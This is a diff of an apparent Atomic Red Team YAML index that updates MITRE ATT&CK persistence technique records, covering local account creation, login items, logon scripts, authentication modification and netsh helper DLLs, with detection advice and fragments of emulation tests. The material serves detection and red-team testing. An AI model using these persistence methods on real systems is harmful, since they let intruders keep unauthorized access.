         installation of new software or through system administration functions. Look
@@ -46990,13 +48395,19 @@ persistence:
         part of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement."
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/004
+        external_id: T1053.004
+        source_name: mitre-attack
+      - source_name: AppleDocs Launch Agent Daemons
+        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
+          July 10, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
       identifier: T1053.004
     atomic_tests:
     - name: Event Monitor Daemon Persistence
@@ -47029,47 +48440,48 @@ persistence:
           sudo rm /private/var/db/emondClients/#{empty_file}
   T1136.001:
     technique:
-      created: '2020-01-28T13:50:22.506Z'
-      modified: '2020-03-23T18:04:20.780Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      type: attack-pattern
-      id: attack-pattern--635cbe30-392d-4e27-978e-66774357c762
-      description: |-
-        Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the <code>net user /add</code> command can be used to create a local account.
-
-        Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
-      name: Local Account
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1136.001
-        url: https://attack.mitre.org/techniques/T1136/001
-      - source_name: Microsoft User Creation Event
-        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
-          was created. Retrieved June 30, 2017.'
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      type: attack-pattern
+      name: Local Account
       x_mitre_data_sources:
       - 'User Account: User Account Creation'
       - 'Process: Process Creation'
       - 'Command: Command Execution'
-      x_mitre_detection: 'Monitor for processes and command-line parameters associated
-        with local account creation, such as <code>net user /add</code> or <code>useradd</code>.
-        Collect data on account creation within a network. Event ID 4720 is generated
-        when a user account is created on a Windows system. (Citation: Microsoft User
-        Creation Event) Perform regular audits of local system accounts to detect
-        suspicious accounts that may have been created by an adversary.'
+      x_mitre_version: '1.1'
+      modified: '2021-08-12T13:04:14.248Z'
+      created: '2020-01-28T13:50:22.506Z'
       x_mitre_permissions_required:
       - Administrator
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      id: attack-pattern--635cbe30-392d-4e27-978e-66774357c762
+      description: |-
+        Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the <code>net user /add</code> command can be used to create a local account. On macOS systems the <code>dscl -create</code> command can be used to create a local account.
+
+        Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_detection: 'Monitor for processes and command-line parameters associated
+        with local account creation, such as <code>net user /add</code> , <code>useradd</code>
+        , and <code>dscl -create</code> . Collect data on account creation within
+        a network. Event ID 4720 is generated when a user account is created on a
+        Windows system. (Citation: Microsoft User Creation Event) Perform regular
+        audits of local system accounts to detect suspicious accounts that may have
+        been created by an adversary.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1136/001
+        external_id: T1136.001
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
+        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
+          was created. Retrieved June 30, 2017.'
+        source_name: Microsoft User Creation Event
       identifier: T1136.001
     atomic_tests:
     - name: Create a user account on a Linux system
@@ -47221,6 +48633,26 @@ persistence:
         elevation_required: true
   T1078.003:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Local Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-18T17:45:48.323Z'
+      created: '2020-03-13T20:26:46.695Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Containers
+      x_mitre_is_subtechnique: true
       id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
       description: "Adversaries may obtain and abuse credentials of a local account
         as a means of gaining Initial Access, Persistence, Privilege Escalation, or
@@ -47230,15 +48662,6 @@ persistence:
         and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
         Password reuse may allow the abuse of local accounts across a set of machines
         on a network for the purposes of Privilege Escalation and Lateral Movement. "
-      name: Local Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.003
-        url: https://attack.mitre.org/techniques/T1078/003
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -47248,25 +48671,15 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-05T12:51:00.663Z'
-      created: '2020-03-13T20:26:46.695Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Containers
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
       x_mitre_detection: Perform regular audits of local system accounts to detect
         accounts that may have been created by an adversary for persistence. Look
         for suspicious account behavior, such as accounts logged in at odd times or
         outside of business hours.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/003
+        external_id: T1078.003
+        source_name: mitre-attack
       identifier: T1078.003
     atomic_tests:
     - name: Create local account with admin privileges
@@ -47285,24 +48698,124 @@ persistence:
           net user art-test /delete >nul 2>&1
         name: command_prompt
         elevation_required: true
-  T1037.002:
+  T1547.015:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.002
-        url: https://attack.mitre.org/techniques/T1037/002
-      - url: https://support.apple.com/de-at/HT2420
-        description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved
-          July 17, 2017.'
-        source_name: creating login hook
-      - source_name: S1 macOs Persistence
-        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
-        description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved
-          March 27, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Login Items
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Modification'
+      - 'File: File Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-10-18T16:36:37.042Z'
+      created: '2021-10-05T21:26:15.081Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3
+      description: |-
+        Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.
+
+        Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
+
+        Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_detection: |-
+        All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.
+
+        Otherwise, login Items are located in <code>Contents/Library/LoginItems</code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)
+
+        Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/015
+        external_id: T1547.015
+        source_name: mitre-attack
+      - url: https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac
+        description: Apple. (n.d.). Open items automatically when you log in on Mac.
+          Retrieved October 1, 2021.
+        source_name: Open Login Items Apple
+      - source_name: Adding Login Items
+        description: Apple. (2016, September 13). Adding Login Items. Retrieved July
+          11, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
+      - url: https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/
+        description: Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified.
+          Retrieved October 5, 2021.
+        source_name: SMLoginItemSetEnabled Schroeder 2013
+      - url: https://developer.apple.com/documentation/coreservices/launch_services
+        description: Apple. (n.d.). Launch Services. Retrieved October 5, 2021.
+        source_name: Launch Services Apple Developer
+      - url: https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/
+        description: 'hoakley. (2018, May 22). Running at startup: when to use a Login
+          Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.'
+        source_name: ELC Running at startup
+      - url: https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788
+        description: Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.
+        source_name: Login Items AE
+      - url: https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/
+        description: hoakley. (2021, September 16). How to run an app or tool at startup.
+          Retrieved October 5, 2021.
+        source_name: Startup Items Eclectic
+      - url: http://www.hexed.in/2019/07/osxdok-analysis.html
+        description: fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October
+          4, 2021.
+        source_name: hexed osx.dok analysis 2019
+      - url: https://gist.github.com/kaloprominat/6111584
+        description: 'kaloprominat. (2013, July 30). macos: manage add list remove
+          login items apple script. Retrieved October 5, 2021.'
+        source_name: Add List Remove Login Items Apple Script
+      - source_name: objsee mac malware 2017
+        description: Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September
+          21, 2018.
+        url: https://objective-see.com/blog/blog_0x25.html
+      - url: https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
+        description: Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it
+          wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.
+        source_name: CheckPoint Dok
+      - url: https://objective-see.com/blog/blog_0x44.html
+        description: Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved
+          October 1, 2021.
+        source_name: objsee netwire backdoor 2019
+      - url: https://objective-see.com/blog/blog_0x31.html
+        description: Patrick Wardle. (2018, July 23). Block Blocking Login Items.
+          Retrieved October 1, 2021.
+        source_name: objsee block blocking login items
+      - url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
+        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
+          Retrieved September 10, 2019.
+        source_name: sentinelone macos persist Jun 2019
+      - url: https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1
+        description: Apple. (2018, June 4). Launch Services Keys. Retrieved October
+          5, 2021.
+        source_name: Launch Service Keys Developer Apple
+    atomic_tests: []
+  T1037.002:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Logon Script (Mac)
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-27T16:49:15.786Z'
+      created: '2020-01-10T16:01:15.995Z'
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0
       description: "Adversaries may use macOS logon scripts automatically executed
         at logon initialization to establish persistence. macOS allows logon scripts
         (known as login hooks) to be executed whenever a specific user logs into a
@@ -47315,29 +48828,29 @@ persistence:
         be one login hook at a time though and depending on the access configuration
         of the hooks, either local credentials or an administrator account may be
         necessary. "
-      id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-27T16:49:15.786Z'
-      created: '2020-01-10T16:01:15.995Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
         or at abnormal times. Look for files added or modified by unusual accounts
         outside of normal administration duties. Monitor running process for actions
         that could be indicative of abnormal programs or executables running upon
         logon.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/002
+        external_id: T1037.002
+        source_name: mitre-attack
+      - source_name: creating login hook
+        description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved
+          July 17, 2017.'
+        url: https://support.apple.com/de-at/HT2420
+      - url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
+        description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved
+          March 27, 2020.
+        source_name: S1 macOs Persistence
       identifier: T1037.002
     atomic_tests:
     - name: Logon Scripts - Mac
@@ -47358,6 +48871,20 @@ persistence:
         name: manual
   T1037.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Logon Script (Windows)
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T23:45:03.153Z'
+      created: '2020-01-10T03:43:37.211Z'
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3
       description: "Adversaries may use Windows logon scripts automatically executed
         at logon initialization to establish persistence. Windows allows logon scripts
@@ -47367,42 +48894,28 @@ persistence:
         scripts to maintain persistence on a single system. Depending on the access
         configuration of the logon scripts, either local credentials or an administrator
         account may be necessary. "
-      name: Logon Script (Windows)
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.001
-        url: https://attack.mitre.org/techniques/T1037/001
-      - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
-        description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
-          April 27, 2016.
-        source_name: TechNet Logon Scripts
-      - source_name: Hexacorn Logon Scripts
-        url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
-        description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part
-          18. Retrieved November 15, 2019.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-24T23:45:03.153Z'
-      created: '2020-01-10T03:43:37.211Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\Environment\UserInitMprLogonScript</code>.
 
         Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/001
+        external_id: T1037.001
+        source_name: mitre-attack
+      - source_name: TechNet Logon Scripts
+        description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
+          April 27, 2016.
+        url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
+      - url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
+        description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part
+          18. Retrieved November 15, 2019.
+        source_name: Hexacorn Logon Scripts
       identifier: T1037.001
     atomic_tests:
     - name: Logon Scripts
@@ -47432,47 +48945,10 @@ persistence:
         name: command_prompt
   T1556:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556
-        url: https://attack.mitre.org/techniques/T1556
-      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
-        description: Bialek, J. (2013, September 15). Intercepting Password Changes
-          With Function Hooking. Retrieved November 21, 2017.
-        source_name: Clymb3r Function Hook Passwords Sept 2013
-      - source_name: Dell Skeleton
-        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
-          Retrieved April 8, 2019.
-        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
-      - source_name: Xorrior Authorization Plugins
-        url: https://xorrior.com/persistent-credential-theft/
-        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
-          Authorization Plugins. Retrieved April 22, 2021.
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Modify Authentication Process
-      description: |-
-        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
-
-        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
-      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-26T20:08:31.712Z'
-      created: '2020-02-11T19:01:56.887Z'
-      x_mitre_contributors:
-      - Chris Ross @xorrior
+      name: Modify Authentication Process
       x_mitre_data_sources:
       - 'Logon Session: Logon Session Creation'
       - 'Process: OS API Execution'
@@ -47481,6 +48957,29 @@ persistence:
       - 'File: File Creation'
       - 'Module: Module Load'
       - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-10-17T14:48:33.990Z'
+      created: '2020-02-11T19:01:56.887Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      - Network
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
+      description: |-
+        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
+
+        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
+      x_mitre_contributors:
+      - Chris Ross @xorrior
       x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain
         controller and/or local computer. Monitor for changes to Registry entries
         for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification
@@ -47505,67 +49004,81 @@ persistence:
         system as a particular account. Correlate other security systems with login
         information (e.g., a user has an active login session but has not entered
         the building or does not have VPN access)."
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556
+        external_id: T1556
+        source_name: mitre-attack
+      - source_name: Clymb3r Function Hook Passwords Sept 2013
+        description: Bialek, J. (2013, September 15). Intercepting Password Changes
+          With Function Hooking. Retrieved November 21, 2017.
+        url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
+      - url: https://www.secureworks.com/research/skeleton-key-malware-analysis
+        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
+          Retrieved April 8, 2019.
+        source_name: Dell Skeleton
+      - url: https://xorrior.com/persistent-credential-theft/
+        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
+          Authorization Plugins. Retrieved April 22, 2021.
+        source_name: Xorrior Authorization Plugins
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1546.007:
     technique:
-      created: '2020-01-24T14:26:51.207Z'
-      modified: '2020-03-24T18:28:07.793Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
       type: attack-pattern
-      id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed
-      description: |-
-        Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.
-
-        Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
+      modified: '2020-03-24T18:28:07.793Z'
       name: Netsh Helper DLL
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.007
-        url: https://attack.mitre.org/techniques/T1546/007
-      - url: https://technet.microsoft.com/library/bb490939.aspx
-        description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.
-        source_name: TechNet Netsh
-      - url: https://github.com/outflankbv/NetshHelperBeacon
-        description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved
-          February 13, 2017.
-        source_name: Github Netsh Helper CS Beacon
-      - url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
-        description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL
-          DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.
-        source_name: Demaske Netsh Persistence
-      x_mitre_platforms:
-      - Windows
-      x_mitre_contributors:
-      - Matthew Demaske, Adaptforward
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Command: Command Execution'
       - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T14:26:51.207Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed
+      description: |-
+        Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.
+
+        Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Matthew Demaske, Adaptforward
       x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes
         in most environments. Monitor process executions and investigate any child
         processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code>
         registry key for any new or suspicious entries that do not correlate with
         known system files or benign software. (Citation: Demaske Netsh Persistence)'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/007
+        external_id: T1546.007
+        source_name: mitre-attack
+      - source_name: TechNet Netsh
+        description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.
+        url: https://technet.microsoft.com/library/bb490939.aspx
+      - source_name: Github Netsh Helper CS Beacon
